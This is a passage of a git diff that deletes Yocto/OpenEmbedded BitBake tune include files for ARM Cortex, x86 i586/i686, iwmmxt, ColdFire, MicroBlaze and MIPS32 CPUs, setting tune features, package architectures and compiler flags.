-PACKAGE_EXTRA_ARCHS_tune-cortexa7 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} cortexa7-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7t = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} cortexa7-vfp cortexa7t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} cortexa7-vfp cortexa7-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} cortexa7-vfp cortexa7-neon cortexa7t2-vfp cortexa7t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4 cortexa7t2-vfp cortexa7t2-neon cortexa7t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa7hf cortexa7thf cortexa7hf-neon cortexa7thf-neon cortexa7hf-neon-vfpv4 cortexa7thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa7hf = "cortexa7"
-ARMPKGARCH_tune-cortexa7thf = "cortexa7"
-ARMPKGARCH_tune-cortexa7hf-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7thf-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7hf-neon-vfpv4 = "cortexa7"
-ARMPKGARCH_tune-cortexa7thf-neon-vfpv4 = "cortexa7"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa7hf = "${TUNE_FEATURES_tune-cortexa7} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7thf = "${TUNE_FEATURES_tune-cortexa7t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7hf-neon = "${TUNE_FEATURES_tune-cortexa7-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7thf-neon = "${TUNE_FEATURES_tune-cortexa7t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} cortexa7hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} cortexa7hf-vfp cortexa7t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} cortexa7hf-vfp cortexa7hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} cortexa7hf-vfp cortexa7hf-neon cortexa7t2hf-vfp cortexa7t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4 cortexa7t2hf-vfp cortexa7t2hf-neon cortexa7t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa72-cortexa53.inc b/meta/conf/machine/include/tune-cortexa72-cortexa53.inc
deleted file mode 100644
index e857f875ff..0000000000
--- a/meta/conf/machine/include/tune-cortexa72-cortexa53.inc
+++ /dev/null
@@ -1,20 +0,0 @@
-DEFAULTTUNE ?= "cortexa72-cortexa53"
-
-TUNEVALID[cortexa72-cortexa53] = "Enable big.LITTLE Cortex-A72.Cortex-A53 specific processor optimizations"
-TUNECONFLICTS[aarch64] = "armv4 armv5 armv6 armv7 armv7a"
-TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", " -mcpu=cortex-a72.cortex-a53", "", d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", "cortexa72-cortexa53:", "" ,d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# cortexa72.cortexa53 implies crc support
-AVAILTUNES += "cortexa72-cortexa53 cortexa72-cortexa53-crypto"
-ARMPKGARCH_tune-cortexa72-cortexa53 = "cortexa72-cortexa53"
-ARMPKGARCH_tune-cortexa72-cortexa53-crypto = "cortexa72-cortexa53-crypto"
-TUNE_FEATURES_tune-cortexa72-cortexa53 = "aarch64 crc cortexa72-cortexa53"
-TUNE_FEATURES_tune-cortexa72-cortexa53-crypto = "aarch64 crc crypto cortexa72-cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa72-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa72-cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa72-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa72-cortexa53 cortexa72-cortexa53-crypto"
-BASE_LIB_tune-cortexa72-cortexa53 = "lib64"
-BASE_LIB_tune-cortexa72-cortexa53-crypto = "lib64"
-
diff --git a/meta/conf/machine/include/tune-cortexa72.inc b/meta/conf/machine/include/tune-cortexa72.inc
deleted file mode 100644
index 00f7745a22..0000000000
--- a/meta/conf/machine/include/tune-cortexa72.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "cortexa72"
-
-TUNEVALID[cortexa72] = "Enable Cortex-A72 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa72', ' -mcpu=cortex-a72', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa72"
-ARMPKGARCH_tune-cortexa72 = "cortexa72"
-TUNE_FEATURES_tune-cortexa72 = "aarch64 cortexa72 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa72 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa72"
-BASE_LIB_tune-cortexa72 = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa73-cortexa53.inc b/meta/conf/machine/include/tune-cortexa73-cortexa53.inc
deleted file mode 100644
index ba2b9b1951..0000000000
--- a/meta/conf/machine/include/tune-cortexa73-cortexa53.inc
+++ /dev/null
@@ -1,20 +0,0 @@
-DEFAULTTUNE ?= "cortexa73-cortexa53"
-
-TUNEVALID[cortexa73-cortexa53] = "Enable big.LITTLE Cortex-A73.Cortex-A53 specific processor optimizations"
-TUNECONFLICTS[aarch64] = "armv4 armv5 armv6 armv7 armv7a"
-MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", "cortexa73-cortexa53:", "" ,d)}"
-TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", " -mcpu=cortex-a73.cortex-a53", "", d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# cortexa73.cortexa53 implies crc support
-AVAILTUNES += "cortexa73-cortexa53 cortexa73-cortexa53-crypto"
-ARMPKGARCH_tune-cortexa73-cortexa53 = "cortexa73-cortexa53"
-ARMPKGARCH_tune-cortexa73-cortexa53-crypto = "cortexa73-cortexa53-crypto"
-TUNE_FEATURES_tune-cortexa73-cortexa53 = "aarch64 crc cortexa73-cortexa53"
-TUNE_FEATURES_tune-cortexa73-cortexa53-crypto = "aarch64 crc crypto cortexa73-cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa73-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa73-cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa73-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa73-cortexa53 cortexa73-cortexa53-crypto"
-BASE_LIB_tune-cortexa73-cortexa53 = "lib64"
-BASE_LIB_tune-cortexa73-cortexa53-crypto = "lib64"
-
diff --git a/meta/conf/machine/include/tune-cortexa8.inc b/meta/conf/machine/include/tune-cortexa8.inc
deleted file mode 100644
index 6551ba4952..0000000000
--- a/meta/conf/machine/include/tune-cortexa8.inc
+++ /dev/null
@@ -1,39 +0,0 @@
-DEFAULTTUNE ?= "armv7athf-neon"
-
-require conf/machine/include/arm/arch-armv7a.inc
-
-TUNEVALID[cortexa8] = "Enable Cortex-A8 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', ' -mcpu=cortex-a8', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', 'armv7a:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa8 cortexa8t cortexa8-neon cortexa8t-neon"
-ARMPKGARCH_tune-cortexa8 = "cortexa8"
-ARMPKGARCH_tune-cortexa8t = "cortexa8"
-ARMPKGARCH_tune-cortexa8-neon = "cortexa8"
-ARMPKGARCH_tune-cortexa8t-neon = "cortexa8"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa8 = "arm vfp cortexa8"
-TUNE_FEATURES_tune-cortexa8t = "${TUNE_FEATURES_tune-cortexa8} thumb"
-TUNE_FEATURES_tune-cortexa8-neon = "${TUNE_FEATURES_tune-cortexa8} neon"
-TUNE_FEATURES_tune-cortexa8t-neon = "${TUNE_FEATURES_tune-cortexa8-neon} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} cortexa8-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8t = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} cortexa8-vfp cortexa8t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} cortexa8-vfp cortexa8-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} cortexa8-vfp cortexa8-neon cortexa8t2-vfp cortexa8t2-neon"
-
-# HF Tunes
-AVAILTUNES += "cortexa8hf cortexa8thf cortexa8hf-neon cortexa8thf-neon"
-ARMPKGARCH_tune-cortexa8hf = "cortexa8"
-ARMPKGARCH_tune-cortexa8thf = "cortexa8"
-ARMPKGARCH_tune-cortexa8hf-neon = "cortexa8"
-ARMPKGARCH_tune-cortexa8thf-neon = "cortexa8"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa8hf = "${TUNE_FEATURES_tune-cortexa8} callconvention-hard"
-TUNE_FEATURES_tune-cortexa8thf = "${TUNE_FEATURES_tune-cortexa8t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa8hf-neon = "${TUNE_FEATURES_tune-cortexa8-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa8thf-neon = "${TUNE_FEATURES_tune-cortexa8t-neon} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} cortexa8hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} cortexa8hf-vfp cortexa8t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} cortexa8hf-vfp cortexa8hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} cortexa8hf-vfp cortexa8hf-neon cortexa8t2hf-vfp cortexa8t2hf-neon"
diff --git a/meta/conf/machine/include/tune-cortexa9.inc b/meta/conf/machine/include/tune-cortexa9.inc
deleted file mode 100644
index ecc7908cd7..0000000000
--- a/meta/conf/machine/include/tune-cortexa9.inc
+++ /dev/null
@@ -1,55 +0,0 @@
-DEFAULTTUNE ?= "armv7athf-neon"
-
-require conf/machine/include/arm/arch-armv7a.inc
-
-TUNEVALID[cortexa9] = "Enable Cortex-A9 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', ' -mcpu=cortex-a9', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', 'armv7a:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa9 cortexa9t cortexa9-neon cortexa9t-neon"
-ARMPKGARCH_tune-cortexa9 = "cortexa9"
-ARMPKGARCH_tune-cortexa9t = "cortexa9"
-ARMPKGARCH_tune-cortexa9-neon = "cortexa9"
-ARMPKGARCH_tune-cortexa9t-neon = "cortexa9"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa9 = "arm vfp cortexa9"
-TUNE_FEATURES_tune-cortexa9t = "${TUNE_FEATURES_tune-cortexa9} thumb"
-TUNE_FEATURES_tune-cortexa9-neon = "${TUNE_FEATURES_tune-cortexa9} neon"
-TUNE_FEATURES_tune-cortexa9t-neon = "${TUNE_FEATURES_tune-cortexa9-neon} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} cortexa9-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9t = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} cortexa9-vfp cortexa9t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} cortexa9-vfp cortexa9-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} cortexa9-vfp cortexa9-neon cortexa9t2-vfp cortexa9t2-neon"
-
-# HF Tunes
-AVAILTUNES += "cortexa9hf cortexa9thf cortexa9hf-neon cortexa9thf-neon"
-ARMPKGARCH_tune-cortexa9hf = "cortexa9"
-ARMPKGARCH_tune-cortexa9thf = "cortexa9"
-ARMPKGARCH_tune-cortexa9hf-neon = "cortexa9"
-ARMPKGARCH_tune-cortexa9thf-neon = "cortexa9"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa9hf = "${TUNE_FEATURES_tune-cortexa9} callconvention-hard"
-TUNE_FEATURES_tune-cortexa9thf = "${TUNE_FEATURES_tune-cortexa9t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa9hf-neon = "${TUNE_FEATURES_tune-cortexa9-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa9thf-neon = "${TUNE_FEATURES_tune-cortexa9t-neon} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} cortexa9hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} cortexa9hf-vfp cortexa9t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} cortexa9hf-vfp cortexa9hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} cortexa9hf-vfp cortexa9hf-neon cortexa9t2hf-vfp cortexa9t2hf-neon"
-
-# VFPv3 Tunes
-AVAILTUNES += "cortexa9-vfpv3 cortexa9t-vfpv3 cortexa9hf-vfpv3 cortexa9thf-vfpv3"
-ARMPKGARCH_tune-cortexa9-vfpv3 = "cortexa9"
-ARMPKGARCH_tune-cortexa9t-vfpv3 = "cortexa9"
-ARMPKGARCH_tune-cortexa9hf-vfpv3 = "cortexa9"
-ARMPKGARCH_tune-cortexa9thf-vfpv3 = "cortexa9"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa9-vfpv3 = "${TUNE_FEATURES_tune-cortexa9} vfpv3"
-TUNE_FEATURES_tune-cortexa9t-vfpv3 = "${TUNE_FEATURES_tune-cortexa9t} vfpv3"
-TUNE_FEATURES_tune-cortexa9hf-vfpv3 = "${TUNE_FEATURES_tune-cortexa9hf} vfpv3"
-TUNE_FEATURES_tune-cortexa9thf-vfpv3 = "${TUNE_FEATURES_tune-cortexa9thf} vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3} cortexa9-vfp cortexa9-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9t-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3} cortexa9-vfp cortexa9-vfpv3 cortexa9t2-vfp cortexa9t2-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9hf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9thf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3 cortexa9t2hf-vfp cortexa9t2hf-vfpv3"
diff --git a/meta/conf/machine/include/tune-ep9312.inc b/meta/conf/machine/include/tune-ep9312.inc
deleted file mode 100644
index be20eb363b..0000000000
--- a/meta/conf/machine/include/tune-ep9312.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "ep9312"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[ep9312] = "Enable Cirrus Logic EP9312 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', ' -march=ep9312 -mcpu=ep9312', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', 'armv4:', '' ,d)}"
-
-AVAILTUNES += "ep9312"
-ARMPKGARCH_tune-ep9312 = "ep9312"
-# this tune does not include TUNE_FEATURES_tune-armv4t, so there is no armv4 TUNE_FEATURES => no 't' in ARMPKGSFX_THUMB
-TUNE_FEATURES_tune-ep9312 = "thumb ep9312"
-PACKAGE_EXTRA_ARCHS_tune-ep9312 = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} ep9312"
diff --git a/meta/conf/machine/include/tune-i586-nlp.inc b/meta/conf/machine/include/tune-i586-nlp.inc
deleted file mode 100644
index 88e59038fa..0000000000
--- a/meta/conf/machine/include/tune-i586-nlp.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-# Settings for the GCC(1) cpu-type "quark":
-#
-#
-#
-DEFAULTTUNE ?= "i586-nlp-32"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/x86/arch-x86.inc
-
-# x86 with no lock prefix
-TUNEVALID[i586-nlp] = "IA32 with Lock Prefix omitted"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586-nlp', ' -march=i586 -Wa,-momit-lock-prefix=yes', '', d)}"
-
-# Quark tune feature
-AVAILTUNES = "i586-nlp-32"
-TUNE_FEATURES_tune-i586-nlp-32 = "${TUNE_FEATURES_tune-x86} i586-nlp"
-BASE_LIB_tune-i586-nlp-32 = "lib"
-TUNE_PKGARCH_tune-i586-nlp-32 = "i586-nlp-32"
-PACKAGE_EXTRA_ARCHS_tune-i586-nlp-32 = "i586-nlp-32"
diff --git a/meta/conf/machine/include/tune-i586.inc b/meta/conf/machine/include/tune-i586.inc
deleted file mode 100644
index 1ab17bd402..0000000000
--- a/meta/conf/machine/include/tune-i586.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "i586"
-
-require conf/machine/include/x86/arch-x86.inc
-
-# Extra tune features
-TUNEVALID[i586] = "Enable i586 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586', ' -march=i586', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "i586"
-TUNE_FEATURES_tune-i586 = "${TUNE_FEATURES_tune-x86} i586"
-BASE_LIB_tune-i586 = "lib"
-TUNE_PKGARCH_tune-i586 = "i586"
-PACKAGE_EXTRA_ARCHS_tune-i586 = "${PACKAGE_EXTRA_ARCHS_tune-x86} i586"
diff --git a/meta/conf/machine/include/tune-i686.inc b/meta/conf/machine/include/tune-i686.inc
deleted file mode 100644
index bdb4799209..0000000000
--- a/meta/conf/machine/include/tune-i686.inc
+++ /dev/null
@@ -1,27 +0,0 @@
-#
-# The i686 CPU family was introduced with the Intel Pentium Pro in 1995.
-# It has as required feature flags: fpu tsc cx8 cmov.
-#
-# It is the minimum CPU required by the Debian i386 port.
-# https://lists.debian.org/debian-devel-announce/2016/05/msg00001.html
-#
-#
-
-DEFAULTTUNE ?= "i686"
-
-# Set x86 target arch to i686, so that glibc enables SSE optimised memcpy, etc.
-X86ARCH32 ?= "i686"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/tune-i586.inc
-
-# Extra tune features
-TUNEVALID[i686] = "Enable i686 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i686', ' -march=i686', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "i686"
-TUNE_FEATURES_tune-i686 = "${TUNE_FEATURES_tune-x86} i686"
-BASE_LIB_tune-i686 = "lib"
-TUNE_PKGARCH_tune-i686 = "i686"
-PACKAGE_EXTRA_ARCHS_tune-i686 = "${PACKAGE_EXTRA_ARCHS_tune-i586} i686"
diff --git a/meta/conf/machine/include/tune-iwmmxt.inc b/meta/conf/machine/include/tune-iwmmxt.inc
deleted file mode 100644
index 9a6cd23c99..0000000000
--- a/meta/conf/machine/include/tune-iwmmxt.inc
+++ /dev/null
@@ -1,15 +0,0 @@
-# Configurations for the Intel PXA27x Appications Processor Family.
-# Please use tune-xscale for PXA255/PXA26x based processors.
-
-DEFAULTTUNE ?= "iwmmxt"
-
-require conf/machine/include/arm/arch-armv5-dsp.inc
-
-TUNEVALID[iwmmxt] = "Enable Intel PXA27x specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', ' -mcpu=iwmmxt', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', 'armv5:', '' ,d)}"
-
-AVAILTUNES += "iwmmxt"
-ARMPKGARCH_tune-iwmmxt = "iwmmxt"
-TUNE_FEATURES_tune-iwmmxt = "thumb iwmmxt"
-PACKAGE_EXTRA_ARCHS_tune-iwmmxt = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} iwmmxt iwmmxtt"
diff --git a/meta/conf/machine/include/tune-mcf5441x.inc b/meta/conf/machine/include/tune-mcf5441x.inc
deleted file mode 100644
index 11a41a7c5d..0000000000
--- a/meta/conf/machine/include/tune-mcf5441x.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "mcf5441x"
-
-require conf/machine/include/m68k/arch-m68k.inc
-
-TUNEVALID[mcf5441x] = "Enable coldfire specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mcf5441x', ' -mcpu=54418', '', d)}"
-
-AVAILTUNES += "mcf5441x"
-TUNE_FEATURES_tune-mcf5441x = "mcf5441x"
-TUNE_ARCH_tune-mcf5441x = "mcf5441x"
-TUNE_PKGARCH_tune-mcf5441x = "mcf5441x"
-PACKAGE_EXTRA_ARCHS_tune-mcf5441x = "m68k mcf5441x"
-
diff --git a/meta/conf/machine/include/tune-microblaze.inc b/meta/conf/machine/include/tune-microblaze.inc
deleted file mode 100644
index 41f0afe668..0000000000
--- a/meta/conf/machine/include/tune-microblaze.inc
+++ /dev/null
@@ -1,8 +0,0 @@
-DEFAULTTUNE ?= "microblaze"
-
-require conf/machine/include/microblaze/arch-microblaze.inc
-
-AVAILTUNES += "microblaze"
-TUNE_FEATURES_tune-microblaze = "microblaze"
-PACKAGE_EXTRA_ARCHS_tune-microblaze = "${TUNE_PKGARCH}"
-
diff --git a/meta/conf/machine/include/tune-mips32.inc b/meta/conf/machine/include/tune-mips32.inc
deleted file mode 100644
index a90c0f059d..0000000000
--- a/meta/conf/machine/include/tune-mips32.inc
+++ /dev/null
@@ -1,29 +0,0 @@
-DEFAULTTUNE ?= "mips32"
-
-require conf/machine/include/mips/arch-mips.inc
-
-TUNEVALID[mips32] = "Enable mips32 specific processor optimizations"
-TUNECONFLICTS[mips32] = "n64 n32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32', ' -march=mips32', '', d)}"
-
-# Base Tunes (Hard Float)
-AVAILTUNES += "mips32 mips32el"
-
-TUNE_FEATURES_tune-mips32 = "${TUNE_FEATURES_tune-mips} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32 = "mips32"
-PACKAGE_EXTRA_ARCHS_tune-mips32 = "mips mips32"
-
-TUNE_FEATURES_tune-mips32el = "${TUNE_FEATURES_tune-mipsel} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32el = "mips32el"
-PACKAGE_EXTRA_ARCHS_tune-mips32el = "mipsel mips32el"
-
-# Soft Float
-AVAILTUNES += "mips32-nf mips32el-nf"
-
-TUNE_FEATURES_tune-mips32-nf = "${TUNE_FEATURES_tune-mips-nf} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32-nf = "mips32"
-PACKAGE_EXTRA_ARCHS_tune-mips32-nf = "mips-nf mips32-nf"
-
-TUNE_FEATURES_tune-mips32el-nf = "${TUNE_FEATURES_tune-mipsel-nf} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32el-nf = "mips32el"
-PACKAGE_EXTRA_ARCHS_tune-mips32el-nf = "mipsel-nf mips32el-nf"
diff --git a/meta/conf/machine/include/tune-mips32r2.inc b/meta/conf/machine/include/tune-mips32r2.inc
deleted file mode 100644
index 14473ca831..0000000000
--- a/meta/conf/machine/include/tune-mips32r2.inc
+++ /dev/null
@@ -1,29 +0,0 @@
-DEFAULTTUNE ?= "mips32r2"
-
-require conf/machine/include/tune-mips32.inc
-
-TUNEVALID[mips32r2] = "Enable mips32r2 specific processor optimizations"
-TUNECONFLICTS[mips32r2] = "n64 n32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32r2', ' -march=mips32r2', '', d)}"
-
-# Base Tunes (Hard Float)
-AVAILTUNES += "mips32r2 mips32r2el"
-
-TUNE_FEATURES_tune-mips32r2 = "${TUNE_FEATURES_tune-mips} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2 = "mips32r2"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2 = "mips mips32 mips32r2"
-
-TUNE_FEATURES_tune-mips32r2el = "${TUNE_FEATURES_tune-mipsel} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2el = "mips32r2el"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el = "mipsel mips32el mips32r2el"
-
-# Soft Float
-AVAILTUNES += "mips32r2-nf mips32r2el-nf"
-
-TUNE_FEATURES_tune-mips32r2-nf = "${TUNE_FEATURES_tune-mips-nf} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2-nf = "mips32r2"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-nf = "mips-nf mips32-nf mips32r2-nf"
-
-TUNE_FEATURES_tune-mips32r2el-nf = "${TUNE_FEATURES_tune-mipsel-nf} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-nf = "mips32r2el"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-nf = "mipsel-nf mips32el-nf mips32r2el-nf"
diff --git a/meta/conf/machine/include/tune-mips32r6.inc b/meta/conf/machine/include/tune-mips32r6.inc
deleted file mode 100644
index 44369cb59c..0000000000
--- a/meta/conf/machine/include/tune-mips32r6.inc
+++ /dev/null
@@ -1,29 +0,0 @@
-DEFAULTTUNE ?= "mipsisa32r6el"
-
-require conf/machine/include/mips/arch-mips.inc
-
-TUNEVALID[mipsisa32r6] = "Enable mipsisa32r6 specific processor optimizations"
-TUNECONFLICTS[mipsisa32r6] = "n64 n32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa32r6', ' -march=mips32r6', '', d)}"
-
-# Base Tunes (Hard Float)
-AVAILTUNES += "mipsisa32r6 mipsisa32r6el"
-
-TUNE_FEATURES_tune-mipsisa32r6 = "o32 bigendian mipsisa32r6 fpu-hard r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6 = "mipsisa32r6"
-
-TUNE_FEATURES_tune-mipsisa32r6el = "o32 fpu-hard mipsisa32r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6el = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6el = "mipsisa32r6el"
-
